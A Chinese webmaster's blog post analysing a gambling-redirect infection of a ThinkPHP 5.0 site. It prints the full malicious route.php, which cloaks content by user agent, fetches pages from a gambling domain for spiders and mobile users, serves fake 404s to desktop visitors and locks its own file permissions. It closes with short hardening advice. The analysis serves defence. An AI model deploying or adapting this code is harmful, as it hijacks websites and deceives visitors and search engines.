ThinkPHP 5.0 框架整站跳转菠菜(挂马)文件代码

2021-12-09 17:39:54 浏览数 (1)

ThinkPHP 是国内比较成熟,非常流行的php的web框架,免费开源,这些特性如同站长们最爱使用的织梦建站系统工具一样(dedecms)非常容易被挂马,跳转菠菜网站!

开源的特性意味着所有公开,如果维护程度没跟上,漏洞没有及时修补,总是最容易被盯上,尤其是有稍微那么一丝价值,有流量的web站点,毕竟总是有那么一些爱研究的高手,尤其是那些别有用心的选手!

挂马特征

  • 整站跳转!
  • PC端仅首页能访问,访问任何网页直接跳转报错404提示(缘由可看后面的分析及PHP挂马文件)!
  • 移动端头部被插入实时访问可更换菠菜站新闻列表栏目页,刷新一次更新一次(此手法非常利于百度收录更新),移动端链接点击跳转菠菜首页!

挂马分析

  • 挂马文件:route.php

经过查询获悉:route为ThinkPHP框架路由配置文件名!

thinkphp路由配置route.php

路由设置配置

打开route.php 引入Route控制器类(use thinkRoute;) 设置路由--》 Route::rule('路由表达式','路由地址','请求类型','路由参数(数组)','变量规则(数组)');

  • 挂马路径:Runtime/

在利用ThinkPHP生成的项目目录中就有一个Runtime目录,即项目运行时目录。

第一次运行时,如果没有开通app_debug会产生runtime.php文件,以后每次运行都会判断是否开启,并且是否有runtime文件,如果有则使用,没有则创建。

PS:至于为什么 route.php 文件为什么会上传到此处,该因 Runtime 此目录未被加锁,未防止篡改已整站加锁!

挂马文件代码

代码语言:javascript复制
<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$tr = "stristr";
$er = $_SERVER;
function httpGetlai($url) {
    $ch = curl_init();
    //设置选项,包括URL
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0;  http://www.baidu.com/search/spider.html)');
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    //执行并获取HTML文档内容
    $output = curl_exec($ch);
    //释放curl句柄
    curl_close($ch);
    //打印获得的数据
    return $output;
}
$filename1 = @end(explode('/', $url1));
function set_writeablelai($file_name)
{
    @chmod($file_name, 0444);
}
@chmod(FILE, 0444);
set_writeablelai($filename1);
define('url', $er['REQUEST_URI']);
define('ref', $er['HTTP_REFERER']);
define('ent', $er['HTTP_USER_AGENT']);
define('site', "https://www.菠菜域名.com/");
define('road', "?" .$er['HTTP_HOST'] . url);
define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $tr(url, ".xml") or $tr(url, ".doc") or $tr(url, ".pdf") or $tr(url, ".txt") or $tr(url, ".ppt") or $tr(url,

        ".pptx") or $tr(url, ".xls") or $tr(url, ".csv") or $tr(url, ".shtml") or $tr(url,".tacc")or $tr(url,".ga")or $tr(url,".gq")or

    $tr(url, ".html") or $tr(url, ".xlsx") and $tr(url, "?"));
if (preg_match(regs, ent)) {
    if (area) {
        echo httpGetlai(site.road);
        exit;
    } else {
        echo httpGetlai("https://www.菠菜域名.com/x.php");
        ob_flush();
        flush();
    }
}
if (area){
    if (preg_match(mobile, ent)){
        $Content_mb=file_get_contents("http://www.菠菜域名.top/index.html");
        echo $Content_mb;
        exit;
    }else{
        http_response_code(404);
        echo "
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
";
        exit;
    }
}
?>

几点建议

  1. 任何时候都不建议暴露自己建站所使用的源码程序!
  2. 尽量使用能稳定更新的程序版本,有重大已知漏洞的开源框架尽量不用,或者使用更新更加稳定维护更新的版本号!

注意,

现在挂马带来的影响非常大,

尤其是对于在推广的胸低们来说!

你好,我是二大爷,

革命老区外出进城务工人员,

互联网非早期非专业站长,

喜好python,写作,阅读,英语

不入流程序,自媒体,seo . . .

0 人点赞